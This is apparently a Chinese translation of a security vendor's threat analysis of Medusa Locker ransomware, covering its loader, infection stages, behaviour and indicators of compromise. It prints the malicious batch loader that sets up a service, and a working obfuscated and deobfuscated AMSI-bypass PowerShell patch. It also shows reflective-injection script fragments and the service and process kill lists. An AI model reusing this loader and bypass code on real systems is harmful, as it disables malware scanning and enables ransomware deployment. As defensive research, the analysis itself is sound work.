注入到PowerShell之中:Medusa Locker勒索软件分析 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

注入到PowerShell之中:Medusa Locker勒索软件分析

41yf1sh 资讯 2020-06-30 11:10:00
收藏

导语:该勒索软件使用已知的PowerShell代码来执行恶意代码的反射注入,从而导致PowerShell自身会执行恶意活动。

一、概述

最近几周,Carbon Black的威胁分析团队(TAU)发现Medusa Locker勒索软件家族的感染数量有所增加。在这些攻击活动中,表现出Medusa Locker勒索软件家族的明显特征,因此需要我们进一步调查,以分析可能会被将来的恶意软件家族利用的行为策略。

Medusa Locker勒索软件使用了多个阶段的感染过程,最初是以批处理文件和文本文件开始,将勒索软件注入到内存中并执行。值得关注的是,该勒索软件使用已知的PowerShell代码来执行恶意代码的反射注入,从而导致PowerShell自身会执行恶意活动。

这个勒索软件会修改系统配置,使用标准的AES-256算法对数据进行加密,并在加密前永久删除卷影副本和系统服务。

这篇文章将侧重分析这一恶意软件的独特之处、交付后的行为特征以及对被感染环境产生的影响。

二、恶意软件加载器脚本分析

攻击的最开始是执行一个批处理文件,该批处理文件会运行PowerShell以开展下一步活动。文件中包含一个批处理脚本,负责运行多个命令。

恶意批处理文件内容:

sc create purebackup binpath= "C:\Windows\system32\cmd.exe
/C start /b C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -c $km =
[IO.File]::ReadAllText('C:\Windows\SysWOW64\qzx.txt'); IEX $km" start= auto Display

批处理文件进行的操作非常简单,首先在C:\Windows\SysWOW64\文件夹中查找预先创建的ASCII文本文件。随后,将会读取该文件的全部内容(在介绍第二阶段时将详细说明)并执行该文件。这个文件将在Windows系统中创建一个名为“purebackup”的服务,以确保在操作系统启动时可以执行该操作。其中的最后一个字符“愀”似乎是中文汉字,但在攻击的执行过程中并不重要。

三、恶意文档分析

文本文件被存储到硬盘驱动器上,其中包含开源的PowerSploit脚本Invoke-ReflectivePEInjection,将用于进程注入。恶意批处理文件负责读取并执行此文档中的全部文本,从而启动勒索软件进程。值得注意的是,在这段代码中是反射式进程注入,会注入到正在运行的进程的父进程之中。在实际场景中,也就是PowerShell.exe。

恶意软件作者对该文件进行了微小的调整。下面是恶意软件中使用的脚本与原始代码的区别:

if ([Environment]::OSVersion.Version -ge (new-object (("{0}{1}{2}" -f'Vers','i','on')) 10,0)) {
${w`in`32} = @"
using System;.exe
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
 
Add-Type ${wI`N`32}
 
${Loa`D`L`iBRary} = [Win32]::LoadLibrary("am" + ("{1}{0}{2}" -f'dl','si.','l'))
${a`DdrE`ss} = [Win32]::GetProcAddress(${l`oa`dLIbrA`Ry}, ("{1}{0}" -f 'msi','A') + ("{1}{0}" -f 'an','Sc') + ("{0}{1}"-f'Buffe','r'))
${p} = 0
[Win32]::VirtualProtect(${aDD`ResS}, [uint32]5, 0x40, [ref]${p})
 
 
[Byte] $c1 = 0xB8
[Byte] $c3 = 0x00
[Byte] $c2 = 0x80
[Byte] $c4 = 0x57
[Byte] $c5 = 0x07
[Byte] $c6 = 0xC3
 
${P`At`Ch} = [Byte[]] ($c1, $c4, $c3, $c5, $c2, $c6)
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`TCH}, 0, ${Addr`e`sS}, 6)
 
}
 
function Invoke-SQLServ
{
< #
.SYNOPSIS
 
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
 
< truncated for brevity >
    if (${c`o`MPuter`NAme} -eq ${Nu`Ll} -or ${cOmp`UTErnA`mE} -imatch "^\s*$")
    {
        Invoke-Command -ScriptBlock ${rEMOT`esCr`ip`T`B`loCk} -ArgumentList @(${peB`YT`Es}, ${f`U`NCrETUR`N`TyPE}, ${prO`cId}, ${pR`OCn`AMe},${For`C`eaSLR})
    }
    else
    {
        Invoke-Command -ScriptBlock ${REm`otEsC`RI`Pt`BlOcK} -ArgumentList @(${PeBY`TES}, ${FU`NcRe`TuRN`TYPe}, ${P`ROc`Id}, ${PrO`cn`AmE},${f`O`RCE`ASlr}) -ComputerName ${co`mpU`TER`NaME}
    }
}
 
Main
}
 
${inPUTST`R`iNG} = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAHMY
< truncated for brevity >

值得注意的是,用于确保恶意软件执行的代码有明显的增加和修改,如下所示。

AMSI绕过的原始PowerShell代码:

Add-Type ${wI`N`32}
 
${Loa`D`L`iBRary} = [Win32]::LoadLibrary("am" + ("{1}{0}{2}" -f'dl','si.','l'))
${a`DdrE`ss} = [Win32]::GetProcAddress(${l`oa`dLIbrA`Ry}, ("{1}{0}" -f 'msi','A') + ("{1}{0}" -f 'an','Sc') + ("{0}{1}"-f'Buffe','r'))
${p} = 0
[Win32]::VirtualProtect(${aDD`ResS}, [uint32]5, 0x40, [ref]${p})
 
 
[Byte] $c1 = 0xB8
[Byte] $c3 = 0x00
[Byte] $c2 = 0x80
[Byte] $c4 = 0x57
[Byte] $c5 = 0x07
[Byte] $c6 = 0xC3
 
${P`At`Ch} = [Byte[]] ($c1, $c4, $c3, $c5, $c2, $c6)
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`TCH}, 0, ${Addr`e`sS}, 6)

在这里,使用了多种形式的混淆,特别是在重新排列的字符串组合中。我们对这部分代码进行清理,增强了可读性,得到的代码如下所示。

用于AMSI绕过的清理后PowerShell代码:

Add-Type ${wIN32}
 
${LoadLibrary} = [Win32]::LoadLibrary("amsi.dll”)
${AmsiScanBuffer_Ptr} = [Win32]::GetProcAddress(${LoadLibrary}, ("AmsiScanBuffer”)
${p} = 0
${dwSize} = 5
[Win32]::VirtualProtect(${AmsiScanBuffer_Ptr}, ${dwSize}, PAGE_EXECUTE_READWRITE, ${p})
 
${PAtCh} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${pATCH}, 0, ${AmsiScanBuffer_Ptr}, 6)

我们查看了已知AMSI绕过的实现代码。具体来说,6个十六进制字节可以解析为以下的汇编操作码(Opcode):

B8 57 00 07 80 mov eax, 0x80070057
C3             ret

这一小段代码替换了Windows AMSI用于开始扫描PowerShell脚本的AMSIScanBuffer()函数,以返回等价于Windows报错E_INVALIDARG的十六进制值,从而让AMSI允许执行脚本。

这段代码仅用于设置Payload的阶段。在PowerShell代码中,包含大量Base64编码后的数据,这些数据是通过PowerShell命令Invoke-SQLServ -PEBase64实现调用的。

四、勒索可执行文件分析

核心的勒索软件可执行文件会以标准可执行文件的形式在内存中运行。该恶意软件执行大量的系统检查,以配置自身和环境,确保能持久化运行。

作为整体的识别指标,该勒索软件将修改每个加密后的文件,在其文件名后面附加扩展名“.ReadInstructions”。并且,勒索软件将HTML格式的勒索提示信息放置在每个的文件夹中,文件名为“HOW_TO_RECOVER_DATA.html”。

在这一章中,我们将描述恶意软件所采用的整体策略,然后分别介绍每种恶意软件的运行方式和独特性。关于这个勒索软件,有一个值得注意的地方,就是其中包含多个调试信息。这些信息是恶意软件作者插入的文本字符串,将会在测试期间打印到屏幕上。在最终交付之前,恶意软件作者删除了将这些信息打印到屏幕上的功能。但是,消息仍然保留“[LOCKER]”前缀。

与我们分析的典型勒索软件相比,这个恶意软件在运行过程中执行了大量步骤,其中包括:

1、检查唯一互斥锁;

2、确定用户是否具有管理员特权并绕过UAC;

3、创建注册表项作为标记;

4、使用Windows计划任务创建持久性;

5、终止和删除一项预先定义的服务;

6、终止一个预先定义的进程;

7、删除恢复数据;

8、清空回收站;

9、修改SMB访问;

10、创建不进行加密的文件和文件夹列表;

11、遍历本地卷:

1) 在每个文件上运行Windows重启管理器,对其进行解锁,以便后续加密过程;

2) 使用AES-256加密密钥对文件进行加密;

12、遍历本地网络:

1) 对远程计算机执行ICMP ping以检查连通性;

2) 通过SMB协议连接远程计算机,同时避免隐藏共享;

3) 使用相同的AES-256加密密钥对远程文件进行加密。

4.1 创建互斥锁

恶意软件中包含一个硬编码的互斥锁“{8761ABBD-7F85-42EE-B272-A76179687C63}”。在进行任何核心操作之前,都会检查并设置该互斥锁。应用程序会使用互斥锁来注册它们在系统上的当前运行,由于任何其他应用程序都可以访问互斥锁,因此该恶意软件在后续执行过程中都可以检查其是否正在运行。如果正在运行,新的实例将会被终止。

硬编码互斥锁部分代码:

1.png

4.2 检查管理员权限

接下来,恶意软件将会确定它正在以管理员特权帐户还是普通用户身份运行。这一过程是通过检查其在内存中的执行,并查看所拥有的特权来实现的。

可以使用下面的经典方法来运行内存中的进程,并使用GetTokenInformation()确定用户的权限,如下所示。

检查管理员权限的代码:

2.png

如果可执行文件没有以管理员身份运行,那么恶意软件将会在禁用UAC后尝试重新启动,这一过程是使用了已知的UAC绕过方法来实现。

4.3 已知的UAC绕过方法

Medusa Locker使用了一种绕过Windows用户帐户控制(UAC)的已知方式,这是Windows内置的安全措施,用于提醒用户手动允许管理类操作。长期以来,恶意软件往往会利用UAC绕过方法,在用户无法发现的情况下隐蔽地在后台运行。

勒索软件的UAC绕过利用了多年前发现的CMSTP技术,该技术利用Windows的CMSTPLUA COM接口的命令执行方法来运行应用程序。

CMSTP UAC绕过的代码:

3.png

4.4 创建用于标记的注册表项

恶意软件将会在注册表中创建一个新的键值来存储其文件名,这里不会存储路径位置,其具体位置是:HKEY_CURRENT_USER\SOFTWARE\MDSLK\Self。我们目前还不知道这个注册表项的作用,但其中的“MDSLK”显然是“MeDuSa Locker”的缩写。在其他恶意软件家族中,往往也会使用类似的键值,用于确定计算机是否已经感染相同威胁,或者确定是否属于新感染的计算机。这类标记也被视为是攻击者的一种炫耀标志,就像是在墙上的喷绘涂鸦一样。

创建用于标记的注册表项的代码:

4.png

4.5 通过计划任务创建持久性

恶意软件利用Windows任务触发器来创建计划任务,以实现其持久性。我们在名为“svhost”的一项隐藏计划任务中发现了一段代码,其中隐藏了这些字符串,从而证明了这一点。这个计划任务将指向位于%AppData%\Roaming\svhost.exe的恶意软件副本。下面的值是属于“PT”结构,用于定义计划任务定时执行的间隔时间。我们所分析的恶意软件将该值设置为“PT15M”,表示每隔15分钟运行一次。

值得注意的是,恶意软件作者选择了一种常规方法,使用已记录的Windows编程API来创建计划任务。其他恶意软件普遍会使用类似schtasks.exe和at.exe这样的Windows内置工具,而该恶意软件的作者实现了一个解决方案,几乎完全模仿了Microsoft的示例代码来创建任务。这种实现的优势在于可以避免许多形式的行为检测,这些行为检测会对直接运行命令的可执行文件产生告警。

用于创建计划任务的代码:

5.png

这个15分钟的循环周期没有在配置中找到,似乎是在编译时作为配置执行。

写入恶意软件配置的计划任务计时器代码:

6.png

4.6 终止服务和进程

勒索软件使用以下预先定义的服务名称和进程可执行文件列表,关闭并删除可能影响其加密过程的应用程序。它首先会检测服务名称是否与预先定义的列表匹配,如下所示。如果找到了这些服务,恶意软件将使用Windows API调用终止服务并删除。这些服务与许多安全反病毒应用程序以及业务相关应用程序有关。然后,该恶意软件将遍历可执行文件名列表,如果它们在系统上运行,则会将其终止。

我们可以理解为什么勒索软件作者会定义这些服务和进程的列表,但在这里值得关注的是,这些列表基本与Lockbit勒索软件所使用的列表相同,只有一些细微的差别,比如增加了几个进程。

下面的代码片段显示了要终止的服务和进程:

7.png

总体来说,这些服务和进程如下。

在计算机上终止并删除的服务列表:

wrapper

Culserver

msmdsrv

DefWatch

RTVscan

tomcat6

ccEvtMgr

sqlbrowser

zhudongfangyu

ccSetMgr

SQLADHLP

SQLADHLP

SavRoam

QBIDPService

vmware-usbarbitator64

sqlservr

Intuit.QuickBooks.FCS

vmware-converter

sqlagent

QBCFMonitorService

dbsrv12

sqladhlp

sqlwriter

dbeng8

在计算机上终止并删除的进程列表:

wxServer.exe

winword.exe

tomcat6.exe

wxServerView

QBW32.exe

java.exe

sqlservr.exe

QBDBMgr.exe

360se.exe

sqlmangr.exe

qbupdate.exe

360doctor.exe

RAgui.exe

QBCFMonitorService.exe

wdswfsafe.exe

supervise.exe

axlbridge.exe

fdlauncher.exe

Culture.exe

QBIDPService.exe

fdhost.exe

RTVscan.exe

httpd.exe

GDscan.exe

Defwatch.exe

fdlauncher.exe

ZhuDongFangYu.exe

sqlbrowser.exe

MsDtSrvr.exe

4.7 删除恢复选项

与大多数勒索软件一样,Medusa Locker将运行一系列Windows命令来更改系统,以防止其加密的文件被轻易恢复。在这里,它使用“vssadmin”和WMI的组合来删除所有卷影副本。卷影副本是Windows中的内置文件系统备份。它还使用“bcdedit”命令来防止系统重新启动后进入恢复模式。

执行对系统恢复进行限制的命令:

8.png

4.8 清空回收站

勒索软件在最初的一个操作是清空Windows回收站中的所有内容,我们推测这样做是为了防止用户还原后续加密的任何文件。但是,这是勒索软件不常用的一种策略,可能只是表明勒索软件作者希望能完整地损坏文件,不让用户有任何途径来恢复文件。

用于清空Windows回收站的代码:

9.png

4.9 修改SMB连接设置

勒索软件的一项功能是更改对本地SMB文件夹共享的访问。这一过程是通过在受害者的注册表中修改SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System来完成的。在这个键中,EnableLinkedConnections的值被设置为0或者禁用。这样一来,就同时允许普通用户和管理员权限下都可以使用网络共享。这项功能已经被该恶意软件禁用。

修改Windows SMB连接设置的代码:

10.png

4.10 跳过对重要文件夹的加密

在文件和文件夹的遍历过程中,恶意软件会将已经找到的文件夹与一组已知文件夹进行匹配,我们在下面的代码中展示了示例。

这些操作似乎是为了确保Exchange和SQL Server之类的服务在加密期间仍然保持可用状态。值得注意的是,该恶意软件将跳过(不加密)名称带有“$”的任何文件或文件夹。这可能是为了防止对Microsoft Word临时备份文件或操作系统备份文件夹(例如:$Windows.~BT)进行加密。

跳过对重要文件夹加密的代码:

11.png

代码进一步展示了将会跳过哪些文件夹:

12.png

4.11 通过Windows重启管理器解锁文件

Medusa Locker的独特之处就在于它使用Windows重启管理器来确保每个文件都会被加密。这是必要的,因为有许多应用程序都会“锁定”文件,从而阻止其他应用程序写入或读取内容。通常,解锁文件需要标识打开文件的应用程序并终止该应用程序。但是,Windows中包含一个名为“重启管理器”的内置功能,可以有助于实现这一工作。该恶意软件将使用Restart Manager API对每个要加密的文件进行判断,以确定该文件是否打开,如果已经打开,则会使用这些API调用终止应用程序。这样可以既保证安全、正常地关闭应用程序,又可以让尽可能多的文件被加密。

使用Windows Restart Manager关闭应用程序:

13.png

4.12 文件加密

如同野外发现的许多其他勒索软件家族,Medusa Locker利用嵌入的公钥,对所有文件数据进行AES-256加密。这个公钥存储为Base64数据块,表示以下二进制密钥。如果没有勒索软件作者的协助,受害者将无法解密其被加密后的数据。

存储为Base64编码后文本的加密公钥:

14.png

Base64编码后的公钥:

0000h: 0602 0000 00a4 0000  5253 4131 0008 0000  ........RSA1....
0010h: 0100 0100 57b3 7812  d351 daad 4b60 33f4  ....W.x..Q..K`3.
0020h: 823f 3659 9214 7248  1986 887b 5c29 f027  .?6Y..rH...{\).'
0030h: efe7 8fdb 6825 a015  ddb4 3af3 0487 c983  ....h%....:.....
0040h: 8ecf e414 7c78 d9f2  7e67 f096 1f51 09a1  ....|x..~g...Q..
0050h: c653 4f2e 2002 5f1d  96a9 1b8a 6099 44db  .SO. ._.....`.D.
0060h: 3d65 03bf b9fe 6940  a7a1 996d ad7d b46d  =e....i@...m.}.m
0070h: e7a6 7663 058a ffb7  66ef b266 aca9 49fe  ..vc....f..f..I.
0080h: bca1 101c c043 58a0  d1a1 5c72 599c f524  .....CX...\rY..$
0090h: 8bf5 fa3d 7814 e6f1  561f 8768 e897 b151  ...=x...V..h...Q
00a0h: b693 264f f3ea cf87  3686 21f7 bfaf ba1a  ..&O....6.!.....
00b0h: cd9b 8e9c 1c6f 2c9b  74de 130e 9769 f2b5  .....o,.t....i..
00c0h: c227 cc80 8528 d55a  09a5 dcef 3f53 aaee  .'...(.Z....?S..
00d0h: 6298 f622 89f0 7db6  587c dbc4 f8f2 aa75  b.."..}.X|.....u
00e0h: ecd2 45ef 3947 93bb  f7be fbbc f8bd 8ac9  ..E.9G..........
00f0h: a720 ed1a 8c7d d574  9a36 cf27 5a2a 74df  . ...}.t.6.'Z*t.
0100h: 2098 46d1 66cf 6b16  fbc9 93f8 66a3 2553  .F.f.k.....f..%S
0110h: c9f8 4cb3                                  ..L.

4.13 网络遍历和文件判断

该恶意软件具有网络组件,将会与本地网络上的远程系统建立连接,并查找SMB共享。这个过程中,将会按顺序向每个系统发送ICMP ping并检查是否有响应。

对远程系统进行ICMP ping的代码:

15.png

然后,该恶意软件将扫描系统,查找任何打开的SMB共享。它将忽略名称中带有“$”的共享(即隐藏的共享),并将其余部分添加到列表中,以供后续加密。

扫描SMB共享并排出隐藏共享的代码:

16.png

内存中的数据展示了来自远程系统的SMB共享列表:

17.png

在排除上述文件后,将会对其他文件进行加密。

内存中的数据展示了对远程系统进行SMB访问并进行加密的过程:

18.png

五、附录:威胁指标

在对该恶意软件进行分析时,我们得到了一组基础的威胁指标,列举如下。

5.1 恶意软件加载器脚本元数据

文件内容:恶意软件加载器脚本

文件大小:239

MD5:c4dcfe39b3f3bbed32fbc25ed92d8fd0

SHA-1:3a16925b44226d8253a14ec8c04ed46deeb7744b

SHA-256:e6bd25aec2de3b3e5e3263768da9e20ded49f4fb9edbe34dce2df216478aeea5

魔术值:ASCII文本,没有行终止符

5.2 恶意文档元数据

文件内容:包含恶意代码的文档

文件大小:1104847

MD5:9054555c7d931d0b5c96e9b767f4898e

SHA-1:b3b4f351cc92b6f436a097d70962878c3fe04767

SHA-256:11a044c67f6c78cb7c89bdd86c9d247fa82102d0d7f5fe035ff686447a57db31

魔术值:ASCII文本,每一行都非常长

5.3 勒索软件可执行文件元数据

文件内容:注入Medusa Locker勒索软件的可执行文件

文件大小:685568

MD5:908e3b6aab0126ef4efcdc8c4805abd7

SHA-1:2a9ac8a2a940e537a12ab17720b95d93815849ce

SHA-256:ef1318ede7ab1a8e851f0e052630615daa5ad45002536b295763466d234b4e74

导入哈希值:1a395bd10b20c116b11c2db5ee44c225

编译时间:2019年10月31日 06:08:40 UTC

PE段(名称/大小/MD5):

.text      470,016    62ab731da61aadc4812e6c88c169eb62

.rdata     175,616    bed9f28721b5178bfbaea1cac951089e

.data      14,848     de1ce69e42bb10e84668970b0de23b26

.rsrc      512        cb2274e49389fb51fd23c9bcf7155c5b

.reloc     23,552     5a67776ffd65edba638353ceac158796

向用户显示的勒索提示信息HOW_TO_RECOVER_DATA.html:

19.png

本文翻译自:https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论